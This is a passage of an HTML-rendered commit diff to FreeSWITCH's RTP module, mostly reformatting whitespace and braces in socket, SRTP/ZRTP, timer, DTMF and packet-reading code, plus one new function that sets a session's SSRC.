</span><del>-SWITCH_DECLARE(switch_status_t) switch_rtp_set_remote_address(switch_rtp_t *rtp_session, const char *host, switch_port_t port, 
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_rtp_set_remote_address(switch_rtp_t *rtp_session, const char *host, switch_port_t port,
</ins><span class="cx">                                                                                                                           switch_bool_t change_adv_addr, const char **err)
</span><span class="cx"> {
</span><span class="cx">         switch_sockaddr_t *remote_addr;
</span><span class="lines">@@ -912,21 +909,15 @@
</span><span class="cx">                 rtp_session-&gt;remote_port = port;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (rtp_session-&gt;sock_input &amp;&amp;
-                switch_sockaddr_get_family(rtp_session-&gt;remote_addr) ==
-                switch_sockaddr_get_family(rtp_session-&gt;local_addr)) {
-                        rtp_session-&gt;sock_output = rtp_session-&gt;sock_input;
-        }
-        else {
-                if (rtp_session-&gt;sock_output &amp;&amp;
-                        rtp_session-&gt;sock_output != rtp_session-&gt;sock_input) {
-                                switch_socket_close(rtp_session-&gt;sock_output);
</del><ins>+        if (rtp_session-&gt;sock_input &amp;&amp; switch_sockaddr_get_family(rtp_session-&gt;remote_addr) == switch_sockaddr_get_family(rtp_session-&gt;local_addr)) {
+                rtp_session-&gt;sock_output = rtp_session-&gt;sock_input;
+        } else {
+                if (rtp_session-&gt;sock_output &amp;&amp; rtp_session-&gt;sock_output != rtp_session-&gt;sock_input) {
+                        switch_socket_close(rtp_session-&gt;sock_output);
</ins><span class="cx">                 }
</span><span class="cx">                 if ((status = switch_socket_create(&amp;rtp_session-&gt;sock_output,
</span><del>-                        switch_sockaddr_get_family(rtp_session-&gt;remote_addr),
-                        SOCK_DGRAM, 0, rtp_session-&gt;pool)) !=
-                        SWITCH_STATUS_SUCCESS)
-                {
</del><ins>+                                                                                   switch_sockaddr_get_family(rtp_session-&gt;remote_addr),
+                                                                                   SOCK_DGRAM, 0, rtp_session-&gt;pool)) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                         *err = &quot;Socket Error!&quot;;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -967,7 +958,7 @@
</span><span class="cx">         rtp_session-&gt;crypto_keys[direction] = crypto_key;
</span><span class="cx"> 
</span><span class="cx">         memset(policy, 0, sizeof(*policy));
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch (crypto_key-&gt;type) {
</span><span class="cx">         case AES_CM_128_HMAC_SHA1_80:
</span><span class="cx">                 crypto_policy_set_aes_cm_128_hmac_sha1_80(&amp;policy-&gt;rtp);
</span><span class="lines">@@ -1058,7 +1049,8 @@
</span><span class="cx">         rtp_session-&gt;ms_per_packet = ms_per_packet;
</span><span class="cx">         rtp_session-&gt;samples_per_interval = rtp_session-&gt;conf_samples_per_interval = samples_per_interval;
</span><span class="cx">         rtp_session-&gt;missed_count = 0;
</span><del>-        rtp_session-&gt;samples_per_second = (uint32_t)((double)(1000.0f / (double)(rtp_session-&gt;ms_per_packet / 1000)) * (double)rtp_session-&gt;samples_per_interval);
</del><ins>+        rtp_session-&gt;samples_per_second =
+                (uint32_t) ((double) (1000.0f / (double) (rtp_session-&gt;ms_per_packet / 1000)) * (double) rtp_session-&gt;samples_per_interval);
</ins><span class="cx"> 
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -1067,13 +1059,13 @@
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         int change_timer = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (rtp_session-&gt;ms_per_packet &amp;&amp; rtp_session-&gt;ms_per_packet != ms_per_packet) {
</span><span class="cx">                 change_timer = 1;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         switch_rtp_set_interval(rtp_session, ms_per_packet, samples_per_interval);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (change_timer &amp;&amp; rtp_session-&gt;timer_name) {
</span><span class="cx">                 READ_INC(rtp_session);
</span><span class="cx">                 WRITE_INC(rtp_session);
</span><span class="lines">@@ -1081,8 +1073,8 @@
</span><span class="cx">                 if (rtp_session-&gt;timer.timer_interface) {
</span><span class="cx">                         switch_core_timer_destroy(&amp;rtp_session-&gt;timer);
</span><span class="cx">                 }
</span><del>-                if ((status = switch_core_timer_init(&amp;rtp_session-&gt;timer, 
-                                                                                         rtp_session-&gt;timer_name, ms_per_packet / 1000, 
</del><ins>+                if ((status = switch_core_timer_init(&amp;rtp_session-&gt;timer,
+                                                                                         rtp_session-&gt;timer_name, ms_per_packet / 1000,
</ins><span class="cx">                                                                                          samples_per_interval, rtp_session-&gt;pool)) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
</span><span class="cx">                                                           &quot;RE-Starting timer [%s] %d bytes per %dms\n&quot;, rtp_session-&gt;timer_name, samples_per_interval, ms_per_packet);
</span><span class="lines">@@ -1095,10 +1087,18 @@
</span><span class="cx">                 WRITE_DEC(rtp_session);
</span><span class="cx">                 READ_DEC(rtp_session);
</span><span class="cx">         }
</span><del>-                
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span><ins>+SWITCH_DECLARE(switch_status_t) switch_rtp_set_ssrc(switch_rtp_t *rtp_session, uint32_t ssrc) 
+{
+        rtp_session-&gt;ssrc = ssrc;
+        rtp_session-&gt;send_msg.header.ssrc = htonl(rtp_session-&gt;ssrc);
+
+        return SWITCH_STATUS_SUCCESS;
+}
+
</ins><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_rtp_create(switch_rtp_t **new_rtp_session,
</span><span class="cx">                                                                                                   switch_payload_t payload,
</span><span class="cx">                                                                                                   uint32_t samples_per_interval,
</span><span class="lines">@@ -1201,14 +1201,15 @@
</span><span class="cx">                 const char *srtp_enabled = switch_channel_get_variable(channel, &quot;sip_secure_media&quot;);
</span><span class="cx"> 
</span><span class="cx">                 if (switch_true(srtp_enabled) &amp;&amp; switch_true(zrtp_enabled)) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, &quot;You can not have ZRTP and SRTP enabled simultaneously, ZRTP will be disabled for this call!\n&quot;);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
+                                                          &quot;You can not have ZRTP and SRTP enabled simultaneously, ZRTP will be disabled for this call!\n&quot;);
</ins><span class="cx">                         switch_channel_set_variable(channel, &quot;zrtp_secure_media&quot;, NULL);
</span><span class="cx">                         zrtp_enabled = NULL;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_true(zrtp_enabled)) {
</span><del>-                        if (switch_test_flag(rtp_session, SWITCH_RTP_FLAG_VIDEO)){ 
</del><ins>+                        if (switch_test_flag(rtp_session, SWITCH_RTP_FLAG_VIDEO)) {
</ins><span class="cx">                                 switch_channel_set_private(channel, &quot;__zrtp_video_rtp_session&quot;, rtp_session);
</span><span class="cx">                                 master_rtp_session = switch_channel_get_private(channel, &quot;__zrtp_audio_rtp_session&quot;);
</span><span class="cx">                         } else {
</span><span class="lines">@@ -1224,25 +1225,25 @@
</span><span class="cx">                         if (rtp_session == master_rtp_session) {
</span><span class="cx">                                 rtp_session-&gt;zrtp_profile = switch_core_alloc(rtp_session-&gt;pool, sizeof(*rtp_session-&gt;zrtp_profile));
</span><span class="cx">                                 zrtp_profile_defaults(rtp_session-&gt;zrtp_profile, zrtp_global);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                                 rtp_session-&gt;zrtp_profile-&gt;allowclear = 0;
</span><span class="cx">                                 rtp_session-&gt;zrtp_profile-&gt;disclose_bit = 0;
</span><span class="cx">                                 rtp_session-&gt;zrtp_profile-&gt;cache_ttl = -1;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                                 if (zrtp_status_ok != zrtp_session_init(zrtp_global, rtp_session-&gt;zrtp_profile, zid, initiator, &amp;rtp_session-&gt;zrtp_session)) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Error! zRTP INIT Failed\n&quot;);
</span><span class="cx">                                         zrtp_session_down(rtp_session-&gt;zrtp_session);
</span><span class="cx">                                         rtp_session-&gt;zrtp_session = NULL;
</span><span class="cx">                                         goto end;
</span><span class="cx">                                 }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                                 zrtp_session_set_userdata(rtp_session-&gt;zrtp_session, session);
</span><del>-                        
-                        
</del><ins>+
+
</ins><span class="cx">                                 if (zrtp_status_ok != zrtp_stream_attach(master_rtp_session-&gt;zrtp_session, &amp;rtp_session-&gt;zrtp_stream)) {
</span><span class="cx">                                         abort();
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 zrtp_stream_set_userdata(rtp_session-&gt;zrtp_stream, rtp_session);
</span><span class="cx"> 
</span><span class="cx">                                 if (switch_true(switch_channel_get_variable(channel, &quot;zrtp_enrollment&quot;))) {
</span><span class="lines">@@ -1251,13 +1252,13 @@
</span><span class="cx">                                         zrtp_stream_start(rtp_session-&gt;zrtp_stream, rtp_session-&gt;ssrc);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><del>-#endif        
</del><ins>+#endif
</ins><span class="cx"> 
</span><span class="cx">         rtp_session-&gt;ready = 1;
</span><span class="cx">         *new_rtp_session = rtp_session;
</span><span class="lines">@@ -1344,10 +1345,10 @@
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_rtp_activate_stun_ping(switch_rtp_t *rtp_session, const char *stun_ip, switch_port_t stun_port,
</span><span class="cx">                                                                                                                           uint32_t packet_count, switch_bool_t funny)
</span><span class="cx"> {
</span><del>-        
-        if (switch_sockaddr_info_get(&amp;rtp_session-&gt;remote_stun_addr, stun_ip, SWITCH_UNSPEC, 
</del><ins>+
+        if (switch_sockaddr_info_get(&amp;rtp_session-&gt;remote_stun_addr, stun_ip, SWITCH_UNSPEC,
</ins><span class="cx">                                                                  stun_port, 0, rtp_session-&gt;pool) != SWITCH_STATUS_SUCCESS || !rtp_session-&gt;remote_stun_addr) {
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error resolving stun ping addr\n&quot;);
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="lines">@@ -1408,7 +1409,7 @@
</span><span class="cx">         switch_mutex_lock(rtp_session-&gt;flag_mutex);
</span><span class="cx">         switch_set_flag(rtp_session, SWITCH_RTP_FLAG_BREAK);
</span><span class="cx">         switch_set_flag(rtp_session, SWITCH_RTP_FLAG_FLUSH);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_test_flag(rtp_session, SWITCH_RTP_FLAG_NOBLOCK)) {
</span><span class="cx">                 switch_mutex_unlock(rtp_session-&gt;flag_mutex);
</span><span class="cx">                 return;
</span><span class="lines">@@ -1446,7 +1447,8 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(rtp_session-&gt;flag_mutex);
</span><del>-        ret = (switch_test_flag(rtp_session, SWITCH_RTP_FLAG_IO) &amp;&amp; rtp_session-&gt;sock_input &amp;&amp; rtp_session-&gt;sock_output &amp;&amp; rtp_session-&gt;remote_addr &amp;&amp; rtp_session-&gt;ready == 2) ? 1 : 0;
</del><ins>+        ret = (switch_test_flag(rtp_session, SWITCH_RTP_FLAG_IO) &amp;&amp; rtp_session-&gt;sock_input &amp;&amp; rtp_session-&gt;sock_output &amp;&amp; rtp_session-&gt;remote_addr
+                   &amp;&amp; rtp_session-&gt;ready == 2) ? 1 : 0;
</ins><span class="cx">         switch_mutex_unlock(rtp_session-&gt;flag_mutex);
</span><span class="cx"> 
</span><span class="cx">         return ret;
</span><span class="lines">@@ -1491,7 +1493,7 @@
</span><span class="cx">         (*rtp_session)-&gt;sock_input = NULL;
</span><span class="cx">         switch_socket_close(sock);
</span><span class="cx"> 
</span><del>-        if ( (*rtp_session)-&gt;sock_output != sock ) {
</del><ins>+        if ((*rtp_session)-&gt;sock_output != sock) {
</ins><span class="cx">                 sock = (*rtp_session)-&gt;sock_output;
</span><span class="cx">                 (*rtp_session)-&gt;sock_output = NULL;
</span><span class="cx">                 switch_socket_close(sock);
</span><span class="lines">@@ -1614,7 +1616,7 @@
</span><span class="cx"> 
</span><span class="cx">                 for (x = 0; x &lt; loops; x++) {
</span><span class="cx">                         switch_size_t wrote = switch_rtp_write_manual(rtp_session,
</span><del>-                                                                                                                  rtp_session-&gt;dtmf_data.out_digit_packet, 4, 0, 
</del><ins>+                                                                                                                  rtp_session-&gt;dtmf_data.out_digit_packet, 4, 0,
</ins><span class="cx">                                                                                                                   rtp_session-&gt;te, rtp_session-&gt;dtmf_data.timestamp_dtmf, &amp;flags);
</span><span class="cx"> 
</span><span class="cx">                         rtp_session-&gt;stats.outbound.raw_bytes += wrote;
</span><span class="lines">@@ -1675,13 +1677,13 @@
</span><span class="cx">                                         rtp_session-&gt;dtmf_data.timestamp_dtmf = (uint32_t) (rtp_session-&gt;dtmf_data.timestamp_dtmf + offset);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         wrote = switch_rtp_write_manual(rtp_session,
</span><span class="cx">                                                                                         rtp_session-&gt;dtmf_data.out_digit_packet,
</span><span class="cx">                                                                                         4,
</span><span class="cx">                                                                                         rtp_session-&gt;rtp_bugs &amp; RTP_BUG_CISCO_SKIP_MARK_BIT_2833 ? 0 : 1,
</span><span class="cx">                                                                                         rtp_session-&gt;te, rtp_session-&gt;dtmf_data.timestamp_dtmf, &amp;flags);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         rtp_session-&gt;stats.outbound.raw_bytes += wrote;
</span><span class="cx">                         rtp_session-&gt;stats.outbound.dtmf_packet_count++;
</span><span class="cx"> 
</span><span class="lines">@@ -1722,7 +1724,7 @@
</span><span class="cx">         if (!switch_rtp_ready(rtp_session) || switch_test_flag(rtp_session, SWITCH_RTP_FLAG_PROXY_MEDIA)) {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         READ_INC(rtp_session);
</span><span class="cx"> 
</span><span class="cx">         if (switch_rtp_ready(rtp_session)) {
</span><span class="lines">@@ -1733,19 +1735,18 @@
</span><span class="cx">                                 switch_clear_flag(rtp_session, SWITCH_RTP_FLAG_DEBUG_RTP_READ);
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;RTP HAS NO SESSION!\n&quot;);
</span><span class="cx">                         } else {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), 
-                                                                  SWITCH_LOG_CONSOLE, &quot;%s FLUSH\n&quot;,
-                                                                  switch_channel_get_name(switch_core_session_get_channel(session))
-                                                                  );
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session),
+                                                                  SWITCH_LOG_CONSOLE, &quot;%s FLUSH\n&quot;, switch_channel_get_name(switch_core_session_get_channel(session))
+                                        );
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 if (!switch_test_flag(rtp_session, SWITCH_RTP_FLAG_NOBLOCK)) {
</span><span class="cx">                         was_blocking = 1;
</span><del>-                        switch_set_flag_locked(rtp_session, SWITCH_RTP_FLAG_NOBLOCK);                
</del><ins>+                        switch_set_flag_locked(rtp_session, SWITCH_RTP_FLAG_NOBLOCK);
</ins><span class="cx">                         switch_socket_opt_set(rtp_session-&gt;sock_input, SWITCH_SO_NONBLOCK, TRUE);
</span><span class="cx">                 }
</span><del>-        
</del><ins>+
</ins><span class="cx">                 do {
</span><span class="cx">                         if (switch_rtp_ready(rtp_session)) {
</span><span class="cx">                                 bytes = sizeof(rtp_msg_t);
</span><span class="lines">@@ -1758,14 +1759,14 @@
</span><span class="cx">                         } else {
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><del>-                } while(bytes &gt; 0);
-                
</del><ins>+                } while (bytes &gt; 0);
+
</ins><span class="cx">                 if (was_blocking &amp;&amp; switch_rtp_ready(rtp_session)) {
</span><span class="cx">                         switch_clear_flag_locked(rtp_session, SWITCH_RTP_FLAG_NOBLOCK);
</span><span class="cx">                         switch_socket_opt_set(rtp_session-&gt;sock_input, SWITCH_SO_NONBLOCK, FALSE);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         READ_DEC(rtp_session);
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -1775,7 +1776,7 @@
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">         stfu_frame_t *jb_frame;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_assert(bytes);
</span><span class="cx"> 
</span><span class="cx">         *bytes = sizeof(rtp_msg_t);
</span><span class="lines">@@ -1791,7 +1792,7 @@
</span><span class="cx">                         rtp_session-&gt;stats.inbound.media_packet_count++;
</span><span class="cx">                         rtp_session-&gt;stats.inbound.media_bytes += *bytes;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 rtp_session-&gt;stats.inbound.packet_count++;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -1804,9 +1805,9 @@
</span><span class="cx">                 if (rtp_session-&gt;recv_msg.header.m &amp;&amp; rtp_session-&gt;recv_msg.header.pt != rtp_session-&gt;te) {
</span><span class="cx">                         stfu_n_reset(rtp_session-&gt;jb);
</span><span class="cx">                 }
</span><del>-                
-                stfu_n_eat(rtp_session-&gt;jb, ntohl(rtp_session-&gt;recv_msg.header.ts), rtp_session-&gt;recv_msg.header.pt, 
-                                   rtp_session-&gt;recv_msg.body, *bytes - rtp_header_len);                                
</del><ins>+
+                stfu_n_eat(rtp_session-&gt;jb, ntohl(rtp_session-&gt;recv_msg.header.ts), rtp_session-&gt;recv_msg.header.pt,
+                                   rtp_session-&gt;recv_msg.body, *bytes - rtp_header_len);
</ins><span class="cx">                 *bytes = 0;
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="lines">@@ -1867,7 +1868,7 @@
</span><span class="cx">                                 rtp_session-&gt;read_pollfd) {
</span><span class="cx">                                 if (switch_poll(rtp_session-&gt;read_pollfd, 1, &amp;fdr, 0) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         rtp_session-&gt;hot_hits += rtp_session-&gt;samples_per_interval;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (rtp_session-&gt;hot_hits &gt;= rtp_session-&gt;samples_per_second * 5) {
</span><span class="cx">                                                 switch_set_flag(rtp_session, SWITCH_RTP_FLAG_FLUSH);
</span><span class="cx">                                                 hot_socket = 1;
</span><span class="lines">@@ -1883,8 +1884,8 @@
</span><span class="cx">                         } else {
</span><span class="cx">                                 if (rtp_session-&gt;sync_packets) {
</span><span class="cx"> #if 0
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, 
-                                                                          &quot;Auto-Flush catching up %d packets (%d)ms.\n&quot;, 
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
+                                                                          &quot;Auto-Flush catching up %d packets (%d)ms.\n&quot;,
</ins><span class="cx">                                                                           rtp_session-&gt;sync_packets, (rtp_session-&gt;ms_per_packet * rtp_session-&gt;sync_packets) / 1000);
</span><span class="cx"> #endif
</span><span class="cx">                                         rtp_session-&gt;sync_packets = 0;
</span><span class="lines">@@ -1893,7 +1894,7 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-        recvfrom:
</del><ins>+          recvfrom:
</ins><span class="cx">                 bytes = 0;
</span><span class="cx"> 
</span><span class="cx">                 if (!switch_rtp_ready(rtp_session)) {
</span><span class="lines">@@ -1910,8 +1911,8 @@
</span><span class="cx">                         if (rtp_session-&gt;dtmf_data.out_digit_dur &gt; 0) {
</span><span class="cx">                                 do_2833(rtp_session);
</span><span class="cx">                         }
</span><del>-                } 
-                
</del><ins>+                }
+
</ins><span class="cx">                 if (poll_status == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         status = read_rtp_packet(rtp_session, &amp;bytes, flags);
</span><span class="cx">                 } else {
</span><span class="lines">@@ -1921,7 +1922,7 @@
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         poll_loop = 1;
</span><del>-                        rtp_session-&gt;missed_count += (poll_sec * 1000 ) / (rtp_session-&gt;ms_per_packet ? rtp_session-&gt;ms_per_packet / 1000 : 20 );
</del><ins>+                        rtp_session-&gt;missed_count += (poll_sec * 1000) / (rtp_session-&gt;ms_per_packet ? rtp_session-&gt;ms_per_packet / 1000 : 20);
</ins><span class="cx">                         bytes = 0;
</span><span class="cx"> 
</span><span class="cx">                         if (rtp_session-&gt;max_missed_packets) {
</span><span class="lines">@@ -1951,8 +1952,8 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 check = !bytes;
</span><del>-                
-                if (switch_test_flag(rtp_session, SWITCH_RTP_FLAG_BREAK) || (bytes &amp;&amp; bytes == 4 &amp;&amp; *((int *)&amp;rtp_session-&gt;recv_msg) == UINT_MAX)) {
</del><ins>+
+                if (switch_test_flag(rtp_session, SWITCH_RTP_FLAG_BREAK) || (bytes &amp;&amp; bytes == 4 &amp;&amp; *((int *) &amp;rtp_session-&gt;recv_msg) == UINT_MAX)) {
</ins><span class="cx">                         switch_clear_flag_locked(rtp_session, SWITCH_RTP_FLAG_BREAK);
</span><span class="cx">                         do_2833(rtp_session);
</span><span class="cx">                         bytes = 0;
</span><span class="lines">@@ -1964,7 +1965,7 @@
</span><span class="cx">                         switch_clear_flag_locked(rtp_session, SWITCH_RTP_FLAG_FLUSH);
</span><span class="cx">                         bytes = 0;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (bytes &amp;&amp; bytes &lt; 5) {
</span><span class="cx">                         continue;
</span><span class="cx">                 }
</span><span class="lines">@@ -1990,34 +1991,34 @@
</span><span class="cx">                                 const char *my_host;
</span><span class="cx"> 
</span><span class="cx">                                 char bufa[30], bufb[30], bufc[30];
</span><del>-                                
-                                
</del><ins>+
+
</ins><span class="cx">                                 tx_host = switch_get_addr(bufa, sizeof(bufa), rtp_session-&gt;from_addr);
</span><span class="cx">                                 old_host = switch_get_addr(bufb, sizeof(bufb), rtp_session-&gt;remote_addr);
</span><span class="cx">                                 my_host = switch_get_addr(bufc, sizeof(bufc), rtp_session-&gt;local_addr);
</span><span class="cx"> 
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_CONSOLE,
</span><del>-                                                                  &quot;R %s b=%ld %s:%u %s:%u %s:%u pt=%d ts=%u m=%d\n&quot;, 
</del><ins>+                                                                  &quot;R %s b=%ld %s:%u %s:%u %s:%u pt=%d ts=%u m=%d\n&quot;,
</ins><span class="cx">                                                                   switch_channel_get_name(switch_core_session_get_channel(session)),
</span><del>-                                                                  (long)bytes,
</del><ins>+                                                                  (long) bytes,
</ins><span class="cx">                                                                   my_host, switch_sockaddr_get_port(rtp_session-&gt;local_addr),
</span><del>-                                                                  old_host, rtp_session-&gt;remote_port, 
</del><ins>+                                                                  old_host, rtp_session-&gt;remote_port,
</ins><span class="cx">                                                                   tx_host, switch_sockaddr_get_port(rtp_session-&gt;from_addr),
</span><span class="cx">                                                                   rtp_session-&gt;recv_msg.header.pt, ntohl(rtp_session-&gt;recv_msg.header.ts), rtp_session-&gt;recv_msg.header.m);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 /* ignore packets not meant for us unless the auto-adjust window is open */
</span><span class="cx">                 if (bytes) {
</span><span class="cx">                         if (switch_test_flag(rtp_session, SWITCH_RTP_FLAG_AUTOADJ)) {
</span><span class="cx">                                 if (((rtp_session-&gt;cng_pt &amp;&amp; rtp_session-&gt;recv_msg.header.pt == rtp_session-&gt;cng_pt) || rtp_session-&gt;recv_msg.header.pt == 13)) {
</span><del>-                                        goto recvfrom;                         
-                                        
-                                } 
</del><ins>+                                        goto recvfrom;
+
+                                }
</ins><span class="cx">                         } else if (!switch_cmp_addr(rtp_session-&gt;from_addr, rtp_session-&gt;remote_addr)) {
</span><del>-                                goto recvfrom;                         
-                                
</del><ins>+                                goto recvfrom;
+
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="lines">@@ -2032,8 +2033,8 @@
</span><span class="cx">                                         char adj_port[5];
</span><span class="cx"> 
</span><span class="cx">                                         tx_host = switch_get_addr(bufa, sizeof(bufa), rtp_session-&gt;from_addr);
</span><del>-                                        old_host = switch_get_addr(bufb, sizeof(bufb), rtp_session-&gt;remote_addr);                        
-        
</del><ins>+                                        old_host = switch_get_addr(bufb, sizeof(bufb), rtp_session-&gt;remote_addr);
+
</ins><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO,
</span><span class="cx">                                                                           &quot;Auto Changing port from %s:%u to %s:%u\n&quot;, old_host, old, tx_host,
</span><span class="cx">                                                                           switch_sockaddr_get_port(rtp_session-&gt;from_addr));
</span><span class="lines">@@ -2041,7 +2042,7 @@
</span><span class="cx">                                         if (channel) {
</span><span class="cx">                                                 switch_channel_set_variable(channel, &quot;remote_media_ip_reported&quot;, switch_channel_get_variable(channel, &quot;remote_media_ip&quot;));
</span><span class="cx">                                                 switch_channel_set_variable(channel, &quot;remote_media_ip&quot;, tx_host);
</span><del>-                                                switch_snprintf (adj_port, sizeof(adj_port), &quot;%u&quot;, switch_sockaddr_get_port(rtp_session-&gt;from_addr));
</del><ins>+                                                switch_snprintf(adj_port, sizeof(adj_port), &quot;%u&quot;, switch_sockaddr_get_port(rtp_session-&gt;from_addr));
</ins><span class="cx">                                                 switch_channel_set_variable(channel, &quot;remote_media_port_reported&quot;, switch_channel_get_variable(channel, &quot;remote_media_port&quot;));
</span><span class="cx">                                                 switch_channel_set_variable(channel, &quot;remote_media_port&quot;, adj_port);
</span><span class="cx">                                                 switch_channel_set_variable(channel, &quot;rtp_auto_adjust&quot;, &quot;true&quot;);
</span><span class="lines">@@ -2055,7 +2056,7 @@
</span><span class="cx">                                 switch_clear_flag_locked(rtp_session, SWITCH_RTP_FLAG_AUTOADJ);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (bytes &amp;&amp; rtp_session-&gt;autoadj_window) {
</span><span class="cx">                         if (--rtp_session-&gt;autoadj_window == 0) {
</span><span class="cx">                                 switch_clear_flag_locked(rtp_session, SWITCH_RTP_FLAG_AUTOADJ);
</span><span class="lines">@@ -2074,14 +2075,14 @@
</span><span class="cx"> 
</span><span class="cx">                         if (rtp_session-&gt;recv_msg.header.pt &amp;&amp; (rtp_session-&gt;recv_msg.header.pt == rtp_session-&gt;cng_pt || rtp_session-&gt;recv_msg.header.pt == 13)) {
</span><span class="cx">                                 return_cng_frame();
</span><del>-                        } 
</del><ins>+                        }
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 if (!bytes &amp;&amp; (io_flags &amp; SWITCH_IO_FLAG_NOBLOCK)) {
</span><span class="cx">                         return_cng_frame();
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (check &amp;&amp; switch_test_flag(rtp_session, SWITCH_RTP_FLAG_AUTO_CNG) &amp;&amp;
</span><span class="cx">                         rtp_session-&gt;timer.samplecount &gt;= (rtp_session-&gt;last_write_samplecount + (rtp_session-&gt;samples_per_interval * 50))) {
</span><span class="cx">                         uint8_t data[10] = { 0 };
</span><span class="lines">@@ -2094,15 +2095,14 @@
</span><span class="cx">                 if (check || bytes) {
</span><span class="cx">                         do_2833(rtp_session);
</span><span class="cx">                 }
</span><del>-
</del><span class="cx"> #ifdef ENABLE_ZRTP
</span><span class="cx">                 /* ZRTP Recv */
</span><span class="cx">                 if (bytes) {
</span><span class="cx">                         unsigned int sbytes = (int) bytes;
</span><span class="cx">                         zrtp_status_t stat = 0;
</span><del>-                        
-                        stat = zrtp_process_srtp(rtp_session-&gt;zrtp_stream, (void *)&amp;rtp_session-&gt;recv_msg, &amp;sbytes);
-                        
</del><ins>+
+                        stat = zrtp_process_srtp(rtp_session-&gt;zrtp_stream, (void *) &amp;rtp_session-&gt;recv_msg, &amp;sbytes);
+
</ins><span class="cx">                         switch (stat) {
</span><span class="cx">                         case zrtp_status_ok:
</span><span class="cx">                                 bytes = sbytes;
</span><span class="lines">@@ -2120,7 +2120,7 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx"> #endif
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (bytes &amp;&amp; rtp_session-&gt;recv_msg.header.version != 2) {
</span><span class="cx">                         uint8_t *data = (uint8_t *) rtp_session-&gt;recv_msg.body;
</span><span class="cx"> 
</span><span class="lines">@@ -2131,7 +2131,7 @@
